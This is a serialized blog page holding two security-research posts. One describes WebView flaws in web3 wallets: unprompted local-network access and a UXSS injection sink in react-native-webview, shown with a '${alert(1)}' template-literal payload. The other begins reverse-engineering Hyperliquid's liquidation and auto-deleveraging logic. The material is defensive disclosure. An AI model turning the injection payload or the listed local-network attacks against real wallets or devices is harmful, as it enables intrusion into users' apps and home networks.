libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":22,"tag":23,"props":159692,"children":159693},{},[159694,159696,159702],{"type":27,"value":159695},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":22,"tag":69,"props":159697,"children":159700},{"href":159698,"rel":159699},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[73],[159701],{"type":27,"value":48904},{"type":27,"value":210},{"type":22,"tag":32661,"props":159704,"children":159705},{"style":32663},[159706],{"type":22,"tag":215,"props":159707,"children":159711},{"src":159708,"alt":159709,"style":159710},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":22,"tag":23,"props":159713,"children":159714},{},[159715],{"type":27,"value":159716},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":22,"tag":169,"props":159718,"children":159720},{"id":159719},"local-network-access",[159721],{"type":27,"value":159722},"Local Network Access",{"type":22,"tag":23,"props":159724,"children":159725},{},[159726,159728,159735,159737,159743],{"type":27,"value":159727},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":22,"tag":69,"props":159729,"children":159732},{"href":159730,"rel":159731},"https://wicg.github.io/private-network-access/",[73],[159733],{"type":27,"value":159734},"Private Network Access",{"type":27,"value":159736}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":22,"tag":69,"props":159738,"children":159741},{"href":159739,"rel":159740},"https://x.com/taviso/status/2051310678800253318",[73],[159742],{"type":27,"value":159739},{"type":27,"value":159744},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":22,"tag":32661,"props":159746,"children":159747},{"style":32663},[159748],{"type":22,"tag":215,"props":159749,"children":159752},{"src":159750,"alt":159709,"style":159751},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":22,"tag":23,"props":159754,"children":159755},{},[159756],{"type":27,"value":159757},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":22,"tag":159759,"props":159760,"children":159763},"zoom-image",{"src":159761,"alt":159762},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":22,"tag":23,"props":159765,"children":159766},{},[159767],{"type":27,"value":159768},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":22,"tag":17988,"props":159770,"children":159771},{},[159772,159777,159782],{"type":22,"tag":1871,"props":159773,"children":159774},{},[159775],{"type":27,"value":159776},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":22,"tag":1871,"props":159778,"children":159779},{},[159780],{"type":27,"value":159781},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":22,"tag":1871,"props":159783,"children":159784},{},[159785],{"type":27,"value":159786},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":22,"tag":23,"props":159788,"children":159789},{},[159790],{"type":27,"value":159791},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":22,"tag":169,"props":159793,"children":159795},{"id":159794},"uxss-by-code-injection",[159796],{"type":27,"value":159797},"UXSS by Code Injection",{"type":22,"tag":23,"props":159799,"children":159800},{},[159801,159803,159809],{"type":27,"value":159802},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":22,"tag":257,"props":159804,"children":159806},{"className":159805},[],[159807],{"type":27,"value":159808},"injectJavascriptObject",{"type":27,"value":159810}," attribute worked. Here is the code snippet:",{"type":22,"tag":618,"props":159812,"children":159814},{"className":158050,"code":159813,"language":158052,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[159815],{"type":22,"tag":257,"props":159816,"children":159817},{"__ignoreMap":7},[159818,159838,159867,159901,159956,160061,160073,160086],{"type":22,"tag":264,"props":159819,"children":159820},{"class":1534,"line":1535},[159821,159825,159829,159834],{"type":22,"tag":264,"props":159822,"children":159823},{"style":4293},[159824],{"type":27,"value":72107},{"type":22,"tag":264,"props":159826,"children":159827},{"style":4722},[159828],{"type":27,"value":52370},{"type":22,"tag":264,"props":159830,"children":159831},{"style":4401},[159832],{"type":27,"value":159833}," injectJavascriptObject",{"type":22,"tag":264,"props":159835,"children":159836},{"style":1539},[159837],{"type":27,"value":17036},{"type":22,"tag":264,"props":159839,"children":159840},{"class":1534,"line":1545},[159841,159845,159849,159854,159858,159863],{"type":22,"tag":264,"props":159842,"children":159843},{"style":4328},[159844],{"type":27,"value":40601},{"type":22,"tag":264,"props":159846,"children":159847},{"style":1539},[159848],{"type":27,"value":4370},{"type":22,"tag":264,"props":159850,"children":159851},{"style":4401},[159852],{"type":27,"value":159853},"getSettings",{"type":22,"tag":264,"props":159855,"children":159856},{"style":1539},[159857],{"type":27,"value":31482},{"type":22,"tag":264,"props":159859,"children":159860},{"style":4401},[159861],{"type":27,"value":159862},"getJavaScriptEnabled",{"type":22,"tag":264,"props":159864,"children":159865},{"style":1539},[159866],{"type":27,"value":93344},{"type":22,"tag":264,"props":159868,"children":159869},{"class":1534,"line":1560},[159870,159875,159880,159884,159889,159893,159897],{"type":22,"tag":264,"props":159871,"children":159872},{"style":4722},[159873],{"type":27,"value":159874},"        String",{"type":22,"tag":264,"props":159876,"children":159877},{"style":1549},[159878],{"type":27,"value":159879}," js",{"type":22,"tag":264,"props":159881,"children":159882},{"style":4309},[159883],{"type":27,"value":4312},{"type":22,"tag":264,"props":159885,"children":159886},{"style":1597},[159887],{"type":27,"value":159888}," \"(function(){",{"type":22,"tag":264,"props":159890,"children":159891},{"style":49693},[159892],{"type":27,"value":49696},{"type":22,"tag":264,"props":159894,"children":159895},{"style":1597},[159896],{"type":27,"value":21366},{"type":22,"tag":264,"props":159898,"children":159899},{"style":4309},[159900],{"type":27,"value":11086},{"type":22,"tag":264,"props":159902,"children":159903},{"class":1534,"line":1569},[159904,159909,159913,159918,159922,159927,159931,159935,159939,159944,159948,159952],{"type":22,"tag":264,"props":159905,"children":159906},{"style":1597},[159907],{"type":27,"value":159908},"          \"    window.\"",{"type":22,"tag":264,"props":159910,"children":159911},{"style":4309},[159912],{"type":27,"value":10200},{"type":22,"tag":264,"props":159914,"children":159915},{"style":1539},[159916],{"type":27,"value":159917}," JAVASCRIPT_INTERFACE ",{"type":22,"tag":264,"props":159919,"children":159920},{"style":4309},[159921],{"type":27,"value":673},{"type":22,"tag":264,"props":159923,"children":159924},{"style":1597},[159925],{"type":27,"value":159926}," \" = window.\"",{"type":22,"tag":264,"props":159928,"children":159929},{"style":4309},[159930],{"type":27,"value":10200},{"type":22,"tag":264,"props":159932,"children":159933},{"style":1539},[159934],{"type":27,"value":159917},{"type":22,"tag":264,"props":159936,"children":159937},{"style":4309},[159938],{"type":27,"value":673},{"type":22,"tag":264,"props":159940,"children":159941},{"style":1597},[159942],{"type":27,"value":159943}," \" || {};",{"type":22,"tag":264,"props":159945,"children":159946},{"style":49693},[159947],{"type":27,"value":49696},{"type":22,"tag":264,"props":159949,"children":159950},{"style":1597},[159951],{"type":27,"value":21366},{"type":22,"tag":264,"props":159953,"children":159954},{"style":4309},[159955],{"type":27,"value":11086},{"type":22,"tag":264,"props":159957,"children":159958},{"class":1534,"line":1583},[159959,159963,159967,159971,159975,159980,159984,159989,159993,159997,160001,160005,160009,160013,160018,160022,160027,160031,160036,160040,160044,160049,160053,160057],{"type":22,"tag":264,"props":159960,"children":159961},{"style":1597},[159962],{"type":27,"value":159908},{"type":22,"tag":264,"props":159964,"children":159965},{"style":4309},[159966],{"type":27,"value":10200},{"type":22,"tag":264,"props":159968,"children":159969},{"style":1539},[159970],{"type":27,"value":159917},{"type":22,"tag":264,"props":159972,"children":159973},{"style":4309},[159974],{"type":27,"value":673},{"type":22,"tag":264,"props":159976,"children":159977},{"style":1597},[159978],{"type":27,"value":159979}," \".injectedObjectJson = function () { return \"",{"type":22,"tag":264,"props":159981,"children":159982},{"style":4309},[159983],{"type":27,"value":10200},{"type":22,"tag":264,"props":159985,"children":159986},{"style":1539},[159987],{"type":27,"value":159988}," (injectedJavaScriptObject ",{"type":22,"tag":264,"props":159990,"children":159991},{"style":4309},[159992],{"type":27,"value":9870},{"type":22,"tag":264,"props":159994,"children":159995},{"style":4293},[159996],{"type":27,"value":71593},{"type":22,"tag":264,"props":159998,"children":159999},{"style":4328},[160000],{"type":27,"value":99362},{"type":22,"tag":264,"props":160002,"children":160003},{"style":4293},[160004],{"type":27,"value":71593},{"type":22,"tag":264,"props":160006,"children":160007},{"style":4328},[160008],{"type":27,"value":36430},{"type":22,"tag":264,"props":160010,"children":160011},{"style":1539},[160012],{"type":27,"value":4370},{"type":22,"tag":264,"props":160014,"children":160015},{"style":1597},[160016],{"type":27,"value":160017},"\"`\"",{"type":22,"tag":264,"props":160019,"children":160020},{"style":4309},[160021],{"type":27,"value":10200},{"type":22,"tag":264,"props":160023,"children":160024},{"style":1539},[160025],{"type":27,"value":160026}," injectedJavaScriptObject ",{"type":22,"tag":264,"props":160028,"children":160029},{"style":4309},[160030],{"type":27,"value":673},{"type":22,"tag":264,"props":160032,"children":160033},{"style":1597},[160034],{"type":27,"value":160035}," \"`\"",{"type":22,"tag":264,"props":160037,"children":160038},{"style":1539},[160039],{"type":27,"value":10132},{"type":22,"tag":264,"props":160041,"children":160042},{"style":4309},[160043],{"type":27,"value":673},{"type":22,"tag":264,"props":160045,"children":160046},{"style":1597},[160047],{"type":27,"value":160048}," \"; };",{"type":22,"tag":264,"props":160050,"children":160051},{"style":49693},[160052],{"type":27,"value":49696},{"type":22,"tag":264,"props":160054,"children":160055},{"style":1597},[160056],{"type":27,"value":21366},{"type":22,"tag":264,"props":160058,"children":160059},{"style":4309},[160060],{"type":27,"value":11086},{"type":22,"tag":264,"props":160062,"children":160063},{"class":1534,"line":1603},[160064,160069],{"type":22,"tag":264,"props":160065,"children":160066},{"style":1597},[160067],{"type":27,"value":160068},"          \"})();\"",{"type":22,"tag":264,"props":160070,"children":160071},{"style":1539},[160072],{"type":27,"value":4322},{"type":22,"tag":264,"props":160074,"children":160075},{"class":1534,"line":1612},[160076,160081],{"type":22,"tag":264,"props":160077,"children":160078},{"style":4401},[160079],{"type":27,"value":160080},"        evaluateJavascriptWithFallback",{"type":22,"tag":264,"props":160082,"children":160083},{"style":1539},[160084],{"type":27,"value":160085},"(js);\n",{"type":22,"tag":264,"props":160087,"children":160088},{"class":1534,"line":1621},[160089],{"type":22,"tag":264,"props":160090,"children":160091},{"style":1539},[160092],{"type":27,"value":1609},{"type":22,"tag":23,"props":160094,"children":160095},{},[160096,160098,160104,160106,160111,160113,160119],{"type":27,"value":160097},"It basically injects a javascript code with the ",{"type":22,"tag":257,"props":160099,"children":160101},{"className":160100},[],[160102],{"type":27,"value":160103},"injectedJavascriptObject",{"type":27,"value":160105}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":22,"tag":257,"props":160107,"children":160109},{"className":160108},[],[160110],{"type":27,"value":160103},{"type":27,"value":160112},". If we control a single attribute we can inject a payload like ",{"type":22,"tag":257,"props":160114,"children":160116},{"className":160115},[],[160117],{"type":27,"value":160118},"${alert(1)}",{"type":27,"value":160120}," and achieve XSS in the context of the loaded page.",{"type":22,"tag":23,"props":160122,"children":160123},{},[160124,160126,160133],{"type":27,"value":160125},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":22,"tag":69,"props":160127,"children":160130},{"href":160128,"rel":160129},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[73],[160131],{"type":27,"value":160132},"PR with the report and fix",{"type":27,"value":210},{"type":22,"tag":23,"props":160135,"children":160136},{},[160137],{"type":27,"value":160138},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":22,"tag":23,"props":160140,"children":160141},{},[160142,160144,160150],{"type":27,"value":160143},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":22,"tag":257,"props":160145,"children":160147},{"className":160146},[],[160148],{"type":27,"value":160149},"injectedJavaScriptObject",{"type":27,"value":160151}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":22,"tag":181,"props":160153,"children":160154},{"id":30246},[160155],{"type":27,"value":20252},{"type":22,"tag":23,"props":160157,"children":160158},{},[160159],{"type":27,"value":160160},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":22,"tag":4139,"props":160162,"children":160163},{},[160164],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":160166},[160167,160171,160174,160175],{"id":157890,"depth":1545,"text":157893,"children":160168},[160169,160170],{"id":157901,"depth":1560,"text":157904},{"id":157976,"depth":1560,"text":157979},{"id":158009,"depth":1545,"text":158012,"children":160172},[160173],{"id":158199,"depth":1560,"text":158202},{"id":159719,"depth":1545,"text":159722},{"id":159794,"depth":1545,"text":159797,"children":160176},[160177],{"id":30246,"depth":1560,"text":20252},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":160182,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":160183,"description":160184,"date":160185,"author":160186,"image":160187,"isFeatured":17,"onBlogPage":17,"tags":160191,"hideToc":17,"body":160195,"_type":4157,"_id":166828,"_source":4159,"_file":166829,"_stem":166830,"_extension":4162},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":160188,"width":160189,"height":160190},"/posts/hyperliquid-risk-engine/title.png",1456,816,[160192,160193,160194],"hyperliquid","reverse-engineering","defi",{"type":19,"children":160196,"toc":166800},[160197,160203,160211,160216,160221,160226,160238,160243,160256,160275,160281,160293,160306,160311,160342,160347,160360,160365,160551,160557,160562,160574,160580,160585,160591,160604,160638,160643,160648,160660,160666,160686,160694,160707,160713,160724,160730,160742,160747,160753,160773,160781,160787,160821,160825,160861,160866,160871,160876,160889,160926,160931,160945,160951,160956,160982,160990,160995,161023,161028,161033,161371,161376,161381,161401,161428,161433,161446,161458,161463,161468,161474,161479,161484,161498,161503,161509,161537,161574,161585,161589,161594,161599,161605,161770,161805,161810,161816,161822,162011,162024,162029,162035,162056,162061,162067,162072,162077,162089,162094,162099,162105,162110,162115,162121,162127,162140,162173,162178,164754,165022,165027,166357,166362,166367,166379,166470,166482,166487,166493,166498,166506,166511,166519,166525,166559,166570,166578,166584,166590,166595,166603,166608,166613,166621,166633,166639,166644,166650,166661,166666,166672,166677,166682,166688,166693,166696,166701,166706,166712,166717,166729,166734,166739],{"type":22,"tag":169,"props":160198,"children":160200},{"id":160199},"perpetuals",[160201],{"type":27,"value":160202},"Perpetuals",{"type":22,"tag":4226,"props":160204,"children":160205},{},[160206],{"type":22,"tag":23,"props":160207,"children":160208},{},[160209],{"type":27,"value":160210},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":22,"tag":23,"props":160212,"children":160213},{},[160214],{"type":27,"value":160215},"What does that even have to do with reverse engineering?",{"type":22,"tag":169,"props":160217,"children":160218},{"id":160192},[160219],{"type":27,"value":160220},"Hyperliquid",{"type":22,"tag":23,"props":160222,"children":160223},{},[160224],{"type":27,"value":160225},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":22,"tag":23,"props":160227,"children":160228},{},[160229,160231,160236],{"type":27,"value":160230},"The node is tasked with a ",{"type":22,"tag":1699,"props":160232,"children":160233},{},[160234],{"type":27,"value":160235},"very hard problem",{"type":27,"value":160237},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":22,"tag":23,"props":160239,"children":160240},{},[160241],{"type":27,"value":160242},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":22,"tag":23,"props":160244,"children":160245},{},[160246,160248,160254],{"type":27,"value":160247},"Beyond that, the ",{"type":22,"tag":257,"props":160249,"children":160251},{"className":160250},[],[160252],{"type":27,"value":160253},"hl-node",{"type":27,"value":160255}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":22,"tag":23,"props":160257,"children":160258},{},[160259,160261,160266,160268,160273],{"type":27,"value":160260},"Armed with some curiosity, a good amount of ",{"type":22,"tag":1699,"props":160262,"children":160263},{},[160264],{"type":27,"value":160265},"inference",{"type":27,"value":160267},", and the right tooling, we'll take a deep dive using an ",{"type":22,"tag":1699,"props":160269,"children":160270},{},[160271],{"type":27,"value":160272},"interactive interface",{"type":27,"value":160274},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":22,"tag":169,"props":160276,"children":160278},{"id":160277},"the-million-dollar-question",[160279],{"type":27,"value":160280},"The Million Dollar Question",{"type":22,"tag":23,"props":160282,"children":160283},{},[160284,160286,160291],{"type":27,"value":160285},"Let's say a terrible trader opens a ",{"type":22,"tag":1699,"props":160287,"children":160288},{},[160289],{"type":27,"value":160290},"50x",{"type":27,"value":160292}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":22,"tag":23,"props":160294,"children":160295},{},[160296,160298,160304],{"type":27,"value":160297},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":22,"tag":257,"props":160299,"children":160301},{"className":160300},[],[160302],{"type":27,"value":160303},"compute_margin_requirement_by_mode",{"type":27,"value":160305}," function.",{"type":22,"tag":23,"props":160307,"children":160308},{},[160309],{"type":27,"value":160310},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":22,"tag":160312,"props":160313,"children":160314},"tip",{},[160315],{"type":22,"tag":23,"props":160316,"children":160317},{},[160318,160320,160325,160327,160334,160336,160341],{"type":27,"value":160319},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":22,"tag":1699,"props":160321,"children":160322},{},[160323],{"type":27,"value":160324},"click through",{"type":27,"value":160326}," each action performed by ",{"type":22,"tag":69,"props":160328,"children":160331},{"href":160329,"rel":160330},"https://github.com/renato-osec/patina-research",[73],[160332],{"type":27,"value":160333},"our Rust reverse engineering agent",{"type":27,"value":160335},". Return to the regular view by clicking ",{"type":22,"tag":257,"props":160337,"children":160339},{"className":160338},[],[160340],{"type":27,"value":7279},{"type":27,"value":210},{"type":22,"tag":160343,"props":160344,"children":160346},"bndb-viewer-embed",{"addr":160345,"line-start":602,"line-end":135852},"0x555556bb4d20",[],{"type":22,"tag":23,"props":160348,"children":160349},{},[160350,160352,160358],{"type":27,"value":160351},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":22,"tag":257,"props":160353,"children":160355},{"className":160354},[],[160356],{"type":27,"value":160357},"OptionUnitQty",{"type":27,"value":160359},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":22,"tag":23,"props":160361,"children":160362},{},[160363],{"type":27,"value":160364},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":22,"tag":618,"props":160366,"children":160367},{},[160368],{"type":22,"tag":257,"props":160369,"children":160371},{"className":160370},[260,624],[160372],{"type":22,"tag":264,"props":160373,"children":160375},{"className":160374},[629],[160376],{"type":22,"tag":264,"props":160377,"children":160379},{"className":160378},[267],[160380],{"type":22,"tag":264,"props":160381,"children":160383},{"className":160382,"ariaHidden":273},[272],[160384,160415],{"type":22,"tag":264,"props":160385,"children":160387},{"className":160386},[278],[160388,160392,160402,160406,160411],{"type":22,"tag":264,"props":160389,"children":160391},{"className":160390,"style":95781},[283],[],{"type":22,"tag":264,"props":160393,"children":160395},{"className":160394},[289,27],[160396],{"type":22,"tag":264,"props":160397,"children":160399},{"className":160398},[289],[160400],{"type":27,"value":160401},"liq_equity",{"type":22,"tag":264,"props":160403,"children":160405},{"className":160404,"style":421},[420],[],{"type":22,"tag":264,"props":160407,"children":160409},{"className":160408},[426],[160410],{"type":27,"value":429},{"type":22,"tag":264,"props":160412,"children":160414},{"className":160413,"style":421},[420],[],{"type":22,"tag":264,"props":160416,"children":160418},{"className":160417},[278],[160419,160424],{"type":22,"tag":264,"props":160420,"children":160423},{"className":160421,"style":160422},[283],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":22,"tag":264,"props":160425,"children":160427},{"className":160426},[289],[160428,160432,160547],{"type":22,"tag":264,"props":160429,"children":160431},{"className":160430},[294,295],[],{"type":22,"tag":264,"props":160433,"children":160435},{"className":160434},[300],[160436],{"type":22,"tag":264,"props":160437,"children":160439},{"className":160438},[305,306],[160440,160536],{"type":22,"tag":264,"props":160441,"children":160443},{"className":160442},[311],[160444,160531],{"type":22,"tag":264,"props":160445,"children":160448},{"className":160446,"style":160447},[316],"height:1.427em;",[160449,160488,160499],{"type":22,"tag":264,"props":160450,"children":160451},{"style":1030},[160452,160456],{"type":22,"tag":264,"props":160453,"children":160455},{"className":160454,"style":327},[326],[],{"type":22,"tag":264,"props":160457,"children":160459},{"className":160458},[289],[160460,160465,160469,160474,160478],{"type":22,"tag":264,"props":160461,"children":160463},{"className":160462},[289],[160464],{"type":27,"value":3568},{"type":22,"tag":264,"props":160466,"children":160468},{"className":160467,"style":665},[420],[],{"type":22,"tag":264,"props":160470,"children":160472},{"className":160471},[670],[160473],{"type":27,"value":112629},{"type":22,"tag":264,"props":160475,"children":160477},{"className":160476,"style":665},[420],[],{"type":22,"tag":264,"props":160479,"children":160481},{"className":160480},[289,27],[160482],{"type":22,"tag":264,"props":160483,"children":160485},{"className":160484},[289],[160486],{"type":27,"value":160487},"leverage",{"type":22,"tag":264,"props":160489,"children":160490},{"style":349},[160491,160495],{"type":22,"tag":264,"props":160492,"children":160494},{"className":160493,"style":327},[326],[],{"type":22,"tag":264,"props":160496,"children":160498},{"className":160497,"style":359},[358],[],{"type":22,"tag":264,"props":160500,"children":160501},{"style":1058},[160502,160506],{"type":22,"tag":264,"props":160503,"children":160505},{"className":160504,"style":327},[326],[],{"type":22,"tag":264,"props":160507,"children":160509},{"className":160508},[289],[160510,160516,160526],{"type":22,"tag":264,"props":160511,"children":160513},{"className":160512},[289],[160514],{"type":27,"value":160515},"∣",{"type":22,"tag":264,"props":160517,"children":160519},{"className":160518},[289,27],[160520],{"type":22,"tag":264,"props":160521,"children":160523},{"className":160522},[289],[160524],{"type":27,"value":160525},"notional",{"type":22,"tag":264,"props":160527,"children":160529},{"className":160528},[289],[160530],{"type":27,"value":160515},{"type":22,"tag":264,"props":160532,"children":160534},{"className":160533},[396],[160535],{"type":27,"value":399},{"type":22,"tag":264,"props":160537,"children":160539},{"className":160538},[311],[160540],{"type":22,"tag":264,"props":160541,"children":160543},{"className":160542,"style":2439},[316],[160544],{"type":22,"tag":264,"props":160545,"children":160546},{},[],{"type":22,"tag":264,"props":160548,"children":160550},{"className":160549},[415,295],[],{"type":22,"tag":169,"props":160552,"children":160554},{"id":160553},"what-if-nobody-wants-to-buy-the-position",[160555],{"type":27,"value":160556},"What If Nobody Wants to Buy the Position?",{"type":22,"tag":23,"props":160558,"children":160559},{},[160560],{"type":27,"value":160561},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":22,"tag":23,"props":160563,"children":160564},{},[160565,160567,160572],{"type":27,"value":160566},"When that happens, the exchange is basically left with a ",{"type":22,"tag":1699,"props":160568,"children":160569},{},[160570],{"type":27,"value":160571},"hot potato",{"type":27,"value":160573}," to get rid of: what should it even do with the debt?",{"type":22,"tag":36687,"props":160575,"children":160577},{"id":160576},"the-risk-engine",[160578],{"type":27,"value":160579},"The Risk Engine",{"type":22,"tag":23,"props":160581,"children":160582},{},[160583],{"type":27,"value":160584},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":22,"tag":169,"props":160586,"children":160588},{"id":160587},"clearing-up-bad-debt",[160589],{"type":27,"value":160590},"Clearing Up Bad Debt",{"type":22,"tag":23,"props":160592,"children":160593},{},[160594,160595,160602],{"type":27,"value":17914},{"type":22,"tag":69,"props":160596,"children":160599},{"href":160597,"rel":160598},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[73],[160600],{"type":27,"value":160601},"Hyperliquid docs",{"type":27,"value":160603}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":22,"tag":23,"props":160605,"children":160606},{},[160607,160609,160620,160622,160628,160630,160636],{"type":27,"value":160608},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":22,"tag":69,"props":160610,"children":160613},{"href":160611,"rel":160612},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[73],[160614],{"type":22,"tag":257,"props":160615,"children":160617},{"className":160616},[],[160618],{"type":27,"value":160619},"Clearinghouse",{"type":27,"value":160621},", a struct containing all liquidation-related info, nested within a bigger ",{"type":22,"tag":257,"props":160623,"children":160625},{"className":160624},[],[160626],{"type":27,"value":160627},"Exchange",{"type":27,"value":160629}," data structure. This is an example of what it might hold when serialized as ",{"type":22,"tag":257,"props":160631,"children":160633},{"className":160632},[],[160634],{"type":27,"value":160635},"MessagePack",{"type":27,"value":160637}," at runtime.",{"type":22,"tag":23,"props":160639,"children":160640},{},[160641],{"type":27,"value":160642},"This data will come in handy both for us and the agent.",{"type":22,"tag":160644,"props":160645,"children":160647},"file-download",{"path":160646},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":22,"tag":23,"props":160649,"children":160650},{},[160651,160653,160658],{"type":27,"value":160652},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":22,"tag":257,"props":160654,"children":160656},{"className":160655},[],[160657],{"type":27,"value":160619},{"type":27,"value":160659},". Some renaming later, we can infer something like this:",{"type":22,"tag":160343,"props":160661,"children":160665},{"source":160662,"target":160663,"direction":160664},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":22,"tag":23,"props":160667,"children":160668},{},[160669,160671,160676,160678,160684],{"type":27,"value":160670},"We have one huge function handling all clearinghouse operations, which we call ",{"type":22,"tag":257,"props":160672,"children":160674},{"className":160673},[],[160675],{"type":27,"value":160663},{"type":27,"value":160677},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":22,"tag":257,"props":160679,"children":160681},{"className":160680},[],[160682],{"type":27,"value":160683},"exchange_end_block",{"type":27,"value":160685},". So, at the end of each block we run some checks.",{"type":22,"tag":160312,"props":160687,"children":160688},{},[160689],{"type":22,"tag":23,"props":160690,"children":160691},{},[160692],{"type":27,"value":160693},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":22,"tag":23,"props":160695,"children":160696},{},[160697,160699,160705],{"type":27,"value":160698},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":22,"tag":257,"props":160700,"children":160702},{"className":160701},[],[160703],{"type":27,"value":160704},"clearinghouse.perform_auto_deleveraging",{"type":27,"value":160706}," 